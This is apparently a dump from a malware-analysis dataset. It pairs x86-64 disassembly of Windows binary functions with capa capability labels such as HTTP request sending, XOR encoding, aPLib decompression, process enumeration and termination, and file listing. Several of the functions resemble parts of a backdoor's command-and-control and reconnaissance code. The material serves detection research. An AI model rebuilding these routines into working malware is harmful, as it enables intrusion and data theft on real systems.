joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140024325
Capabilities:
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
call sym._fpreset
lea rax, [0x14002d480]
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_lock
lea rax, [sym.pthread_tls_init]
mov rdx, rax
lea rax, [0x140180d90]
mov rcx, rax
call sym._pthread_once_raw
mov eax, dword [0x14002d470]
mov rdx, qword [rbp - 8]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 8]
mov dword [rdx + 0x70], eax
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rdx, rbp
mov rax, qword [rbp - 8]
add rax, 0xd0
mov rcx, rax
call sym._setjmp
test eax, eax
jne 0x14002443a
mov qword [rbp - 0x10], pe_nt_image_headers64
lea rax, [0x14002d480]
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x140024408
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 0x10]
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov rcx, rax
call rdx
mov qword [rbp - 0x10], rax
nop
nop
lea rax, [0x14002d480]
mov rcx, rax
call sym.pthread_mutex_lock
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call sym._pthread_cleanup_dest
jmp 0x140024449
lea rax, [0x14002d480]
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140024485
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x1400244f3
mov rax, qword [rbp - 8]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_destroy
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 8], 0
mov eax, dword [0x14002d470]
mov rdx, qword [rbp - 8]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x14002453d
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_destroy
mov rax, qword [rbp - 8]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 8]
mov dword [rax + 0xbc], 1
jmp 0x14002453d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x14002d480]
mov rcx, rax
call sym.pthread_mutex_unlock
test eax, eax
je 0x14002452f
mov eax, dword [rbp - 0x14]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x14063a108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14063a28f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14063a139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14063a11f
add dl, dl
jne 0x14063a146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14063a1a6
xor eax, eax
add dl, dl
jne 0x14063a155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14063a25d
add dl, dl
jne 0x14063a166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14063a173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14063a180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14063a18d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14063a19a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14063a12e
mov eax, 1
add dl, dl
jne 0x14063a1b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14063a1c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14063a1ab
sub eax, ebx
mov ebx, 1
jne 0x14063a1fc
mov ecx, 1
add dl, dl
jne 0x14063a1de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14063a1eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14063a1d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14063a12e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14063a218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14063a225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14063a20d
cmp eax, 0x7d00
jae 0x14063a24b
cmp eax, 0x500
jb 0x14063a246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14063a12e
cmp eax, 0x7f
ja 0x14063a24e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14063a12e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14063a282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14063a12e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180001ff0
Capabilities:
Connect to http server
Create http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbx, r8
mov dword [rsp + 0x68], 0x3a980
mov edi, edx
mov rsi, rcx
call fcn.180007140
mov ecx, 1
call fcn.180006850
test al, 8
mov ecx, 0x84c03200
mov eax, 0x84400200
cmovne eax, ecx
mov ecx, 0x32
mov dword [0x180015134], eax
call fcn.180006850
cmp ax, 1
jne 0x180002052
or dword [0x180015134], 0x80000
mov ecx, 0x23
call fcn.180006850
movzx ecx, ax
xor ebp, ebp
test ecx, ecx
je 0x18000208d
sub ecx, 1
je 0x180002084
sub ecx, 1
je 0x18000207d
cmp ecx, 2
je 0x18000208d
mov rax, qword [0x180015138]
jmp 0x1800020b6
xor r8d, r8d
xor edx, edx
jmp 0x18000209f
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x18000209f
mov ecx, 0x20
call fcn.180006810
mov r8, rax
mov edx, 3
xor r9d, r9d
mov dword [rsp + 0x20], ebp
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x180015138], rax
mov r9d, 4
lea r8, [rsp + 0x68]
mov rcx, rax
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x180015138]
lea r8, [rsp + 0x68]
mov r9d, 4
lea edx, [r9 + 2]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x180015138]
lea rax, [0x180015150]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov dword [rsp + 0x30], ebp
movzx r8d, di
mov dword [rsp + 0x28], 3
mov rdx, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.WININET.dll_InternetConnectA]
mov ecx, 0x23
mov qword [0x180015140], rax
call fcn.180006850
cmp ax, 4
jne 0x180002191
mov ecx, 0x21
call fcn.1800067f0
mov ecx, 0x21
mov ebx, eax
call fcn.180006810
mov rcx, qword [0x180015140]
mov r8, rax
mov r9d, ebx
mov edx, 0x2b
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov ecx, 0x22
call fcn.1800067f0
mov ecx, 0x22
mov ebx, eax
call fcn.180006810
mov rcx, qword [0x180015140]
mov r8, rax
mov r9d, ebx
mov edx, 0x2c
call qword [sym.imp.WININET.dll_InternetSetOptionA]
call fcn.180007160
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1800021b0
Capabilities:
Send data
Send http request

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
lea rbp, [rsp - 0x410]
sub rsp, 0x510
mov rbx, rcx
lea rax, [0x18000f538]
xor esi, esi
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x10]
mov qword [rbp - 0x78], rsi
xor edx, edx
mov r8d, 0x400
call fcn.18000e372
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x80
call fcn.18000e372
mov edx, dword [0x180015130]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
test edx, edx
je 0x1800023f2
mov qword [rsp + 0x520], rdi
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x528], r14
call fcn.180005cc0
mov rcx, qword [rsp + 0x50]
lea r8, [0x18000f534]
mov r9, rbx
mov edx, 0x400
call fcn.180001010
mov r9d, dword [0x1800160c0]
lea r8, [0x18000f53c]
mov edx, 0x80
lea rcx, [rbp - 0x70]
call fcn.180001010
lea rax, [rbp - 0x70]
or rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], sil
jne 0x180002290
mov ecx, ntohl
call fcn.180006810
mov rcx, rax
lea r8, [rbp - 0x70]
mov eax, dword [0x180015130]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x28], eax
mov r9d, ebx
mov rax, qword [0x180015148]
mov qword [rsp + 0x20], rax
call fcn.180005440
mov rcx, qword [rsp + 0x48]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x1800022d6
mov r9, qword [rsp + 0x50]
mov edx, 0x400
test rax, rax
jne 0x180002300
lea r8, [0x18000f534]
lea rcx, [rbp + 0x10]
call fcn.180001010
jmp 0x180002315
mov qword [rsp + 0x20], rcx
lea r8, [0x18000f540]
lea rcx, [rbp + 0x10]
call fcn.180001010
call fcn.180007140
mov ebx, esi
lea r14, [0x180015150]
mov ecx, 0x1b
call fcn.180006810
mov rcx, qword [0x180015140]
lea r8, [rbp + 0x10]
mov rdx, rax
mov qword [rsp + 0x38], r14
mov eax, dword [0x180015134]
xor r9d, r9d
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rdi, rax
call fcn.180001ea0
mov rdx, qword [rsp + 0x40]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], sil
jne 0x180002375
mov eax, dword [rsp + 0x60]
mov rcx, rdi
mov r9, qword [rsp + 0x58]
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
call fcn.180002500
mov rcx, rdi
test eax, eax
jne 0x1800023c1
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 4
jb 0x180002323
jmp 0x1800023c7
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x180015130]
lea rcx, [rsp + 0x40]
call fcn.180005cb0
mov dword [0x180015130], esi
call fcn.180007160
mov r14, qword [rsp + 0x528]
mov rdi, qword [rsp + 0x520]
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180002500
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x130
xor ebx, ebx
mov dword [rax + 0x10], 0x100
lea r9, [rax + 0x10]
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x13]
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x180002538
add rsp, 0x130
pop rbx
ret
lea rcx, [rsp + 0x30]
call sub.msvcrt.dll_atoi
cmp eax, 0xc8
sete bl
mov eax, ebx
add rsp, 0x130
pop rbx
ret

Function at 0x180002670
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
cmp dword [0x180015158], 1
je 0x180002706
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000270e
mov ecx, shutdown
mov dword [0x180015158], 1
call fcn.1800067b0
mov ecx, reloc.WS2_32.dll_send
mov dword [0x18001515c], eax
call fcn.1800067b0
mov ecx, 0x3d
mov dword [0x180015160], eax
call fcn.180006810
mov ecx, 0x3e
mov qword [0x181777898], rax
call fcn.180006810
mov ecx, 0x3f
mov qword [0x181777890], rax
call fcn.180006810
mov ecx, 0x42
mov qword [0x181777888], rax
call fcn.180006810
mov qword [0x181777880], rax
add rsp, 0x1c8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18000a1c0
int3
Function at 0x1800029c0
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x1b0
mov rdi, rcx
mov rbp, r8
mov ecx, 0x4000
mov ebx, edx
call sub.msvcrt.dll_malloc
xor edx, edx
mov r8d, 0x4000
mov rcx, rax
mov rsi, rax
call fcn.18000e372
mov r8d, ebx
lea rcx, [rsp + 0x48]
mov rdx, rdi
call fcn.180004c30
lea rcx, [rsp + 0x48]
call fcn.180004c40
mov r8d, 0x4000
lea rcx, [rsp + 0x48]
mov rdx, rsi
mov ebx, eax
call fcn.180004cf0
mov edx, 0x200000
lea rcx, [rsp + 0x20]
call fcn.1800015e0
mov edx, ebx
lea rcx, [rsp + 0x20]
call fcn.180001610
mov r8d, 0x4000
lea rdx, [0x18000f650]
mov rcx, rsi
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x180002a87
mov rdx, rsi
mov ecx, 0x4000
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov r9d, 2
lea r8, [0x18000f654]
mov edx, 0x4000
mov rcx, rsi
call fcn.18000a270
mov r8, rsi
lea rdx, [0x18000f530]
lea rcx, [rsp + 0x20]
call fcn.180001650
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180002af3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rsi
lea ecx, [rbx + 0x35]
mov r8d, eax
call fcn.180001c20
lea rcx, [rsp + 0x20]
call fcn.180001640
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.1800016e0
mov rcx, rax
mov r8d, reloc.WS2_32.dll_shutdown
mov edx, ebx
call rbp
mov rcx, rsi
call sub.msvcrt.dll_free
jmp 0x180002b63
mov rcx, rsi
call sub.msvcrt.dll_free
nop dword [rax + rax]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x84]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea r8, [rsp + 0x60]
xor ecx, ecx
lea rdx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180002b00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x20]
call fcn.180001640
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.1800016e0
mov rcx, rax
mov r8d, reloc.WS2_32.dll_shutdown
mov edx, ebx
call rbp
lea rcx, [rsp + 0x20]
call fcn.1800015b0
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x180002f40
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor eax, eax
mov qword [rsp + 0x20], 0
mov r8d, edx
mov qword [rsp + 0x28], rax
mov rdx, rcx
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
call fcn.180004c30
lea rcx, [rsp + 0x20]
call fcn.180004c40
xor edx, edx
mov r8d, eax
mov edi, eax
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180002fa0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180002fb5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
mov ecx, 0x23
mov r8d, eax
call fcn.180001b30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180002fd0
Capabilities:
Enumerate processes

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x988
mov rbp, r8
mov ebx, edx
mov rdi, rcx
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x180]
call fcn.18000e372
mov r8d, ebx
lea rcx, [rsp + 0x38]
mov rdx, rdi
call fcn.180004c30
lea rcx, [rsp + 0x38]
call fcn.180004c40
mov edx, 0x8000
lea rcx, [rsp + 0x20]
mov esi, eax
call fcn.1800015e0
test esi, esi
jle 0x180003034
mov edx, esi
lea rcx, [rsp + 0x20]
call fcn.180001610
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.180003210
test eax, eax
jne 0x18000304b
call fcn.180003270
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000319a
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x180003089
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000319a
mov qword [rsp + 0x9b0], r12
mov qword [rsp + 0x9b8], r14
mov r14d, 0x1000
mov qword [rsp + 0x980], r15
xor r15d, r15d
or r12d, 0xffffffff
nop
call fcn.180004b40
mov r8d, dword [rsp + 0x58]
test eax, eax
mov ecx, 0x400
cmovne ecx, r14d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18000312e
mov r8d, 0x800
lea rdx, [rsp + 0x180]
mov rcx, rax
call fcn.180002ee0
movzx ecx, byte [rsp + 0x180]
lea rdx, [rsp + 0x9c8]
test eax, eax
cmove ecx, r15d
mov byte [rsp + 0x180], cl
mov ecx, dword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov ecx, dword [rsp + 0x9c8]
test eax, eax
cmove ecx, r12d
mov dword [rsp + 0x9c8], ecx
mov rcx, rbx
call fcn.180003210
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1800030b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x980]
lea rcx, [rsp + 0x20]
mov r14, qword [rsp + 0x9b8]
mov r12, qword [rsp + 0x9b0]
call fcn.180001640
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.1800016e0
mov rcx, rax
mov edx, ebx
mov r8d, shutdown
test esi, esi
je 0x180003198
mov r8d, reloc.WS2_32.dll_shutdown
call rbp
lea rcx, [rsp + 0x20]
call fcn.1800015b0
add rsp, 0x988
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x180003470
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
movsxd r11, edx
mov rbx, rcx
movsxd rax, r9d
lea r10, [r11 - 4]
cmp r10, rax
jbe 0x18000348f
xor eax, eax
mov rbx, qword [rsp + 8]
ret
sub r11d, 4
je 0x1800034c0
xor ecx, ecx
mov edx, r11d
mov r9, rbx
sub r9, r8
mov rax, rcx
lea r8, [r8 + 1]
and eax, 3
inc rcx
movzx eax, byte [rax + rbx]
xor al, byte [r9 + r8 + 3]
mov byte [r8 - 1], al
sub rdx, 1
jne 0x1800034a0
mov rbx, qword [rsp + 8]
mov eax, r11d
ret
Function at 0x1800034d0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movsxd r10, edx
mov rbx, r8
add r10, 4
movsxd rax, r9d
mov edi, edx
mov rsi, rcx
cmp r10, rax
jbe 0x180003508
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
call fcn.180002df0
mov dword [rbx], eax
test edi, edi
je 0x18000353e
xor edx, edx
lea rcx, [rbx + 4]
sub rsi, rbx
mov r8, rdi
nop
mov rax, rdx
lea rcx, [rcx + 1]
and eax, 3
inc rdx
movzx eax, byte [rax + rbx]
xor al, byte [rsi + rcx - 5]
mov byte [rcx - 1], al
sub r8, 1
jne 0x180003520
mov rbx, qword [rsp + 0x30]
lea eax, [rdi + 4]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180003650
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x18000363a
mov ecx, dword [rcx]
call sub.WS2_32.dll_htonl
mov edx, 4
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 5]
call rdi
mov rcx, qword [rbx + 8]
call sub.msvcrt.dll_fclose
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov ebp, r8d
cmp qword [0x180015178], rsi
mov r14, rdx
mov rdi, rcx
jne 0x18000368f
mov ecx, 0x80004
call sub.msvcrt.dll_malloc
mov qword [0x180015178], rax
mov ecx, dword [rdi]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x180015178]
mov dword [rcx], eax
mov ebx, dword [rdi + 4]
cmp ebx, ebp
cmova ebx, ebp
test ebx, ebx
je 0x1800036e7
nop dword [rax + rax]
mov rax, qword [0x180015178]
mov edx, 1
mov r9, qword [rdi + 8]
add rax, 4
mov ecx, esi
add rcx, rax
mov r8d, ebx
call sub.msvcrt.dll_fread
test eax, eax
je 0x1800036e0
sub dword [rdi + 4], eax
add esi, eax
sub ebx, eax
jne 0x1800036b0
jmp 0x1800036e7
mov dword [rdi + 4], 0
mov rcx, qword [0x180015178]
lea edx, [rsi + 4]
mov r8d, 8
call r14
mov rdx, r14
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x180003600

Function at 0x180003720
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.180004c30
mov edx, 0x80
lea rcx, [rsp + 0x20]
call fcn.1800015e0
lea rcx, [rsp + 0x38]
call fcn.180004c40
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.180001610
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r8d, eax
lea rdx, [0x18000f734]
lea rcx, [rsp + 0x20]
call fcn.180001650
lea rcx, [rsp + 0x20]
call fcn.180001640
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.1800016e0
mov rcx, rax
mov r8d, reloc.WS2_32.dll_shutdown
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.1800015b0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x180003e20
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
xor r14d, r14d
lea rax, [rsp + 0x78]
mov edi, r8d
mov qword [rsp + 0x28], r14
mov rsi, rdx
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov dword [rsp + 0x30], r14d
xor r8d, r8d
xor edx, edx
mov rbp, rcx
mov ebx, r14d
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x180003e6c
or eax, 0xffffffff
jmp 0x180003ec8
cmp dword [rsp + 0x78], ebx
jbe 0x180003ec6
cmp ebx, edi
jae 0x180003ec6
mov r8d, edi
mov qword [rsp + 0x20], r14
sub r8d, ebx
lea r9, [rsp + 0x30]
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x30]
xor r9d, r9d
add ebx, eax
mov qword [rsp + 0x28], r14
add rsi, rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x180003e67
cmp dword [rsp + 0x78], r14d
ja 0x180003e72
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x180004220
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
xor r14d, r14d
mov edi, r8d
mov dword [rsp + 0x60], r14d
mov rsi, rdx
mov rbp, rcx
mov ebx, r14d
test r8d, r8d
jle 0x180004281
nop dword [rax + rax]
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
mov qword [rsp + 0x20], r14
add rdx, rsi
lea r9, [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000429e
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x18000429e
add ebx, eax
cmp ebx, edi
jl 0x180004250
or eax, 0xffffffff
cmp ebx, edi
cmovne ebx, eax
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
or eax, 0xffffffff
jmp 0x18000428b

Function at 0x180004390
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov dword [rsp + 0x30], 0
mov rdi, rcx
lea r8, [rsp + 0x30]
mov rcx, rbx
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
lea rax, [0x180004440]
mov qword [rdi + 8], rbx
mov rbx, qword [rsp + 0x38]
lea rcx, [fcn.18000eab0]
mov qword [rdi + 0x10], rax
lea rax, [0x1800044e0]
mov qword [rdi + 0x18], rax
lea rax, [0x180004410]
mov qword [rdi + 0x20], rax
lea rax, [0x1800044d0]
mov qword [rdi + 0x30], rax
mov rax, rdi
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x38], rcx
add rsp, 0x20
pop rdi
ret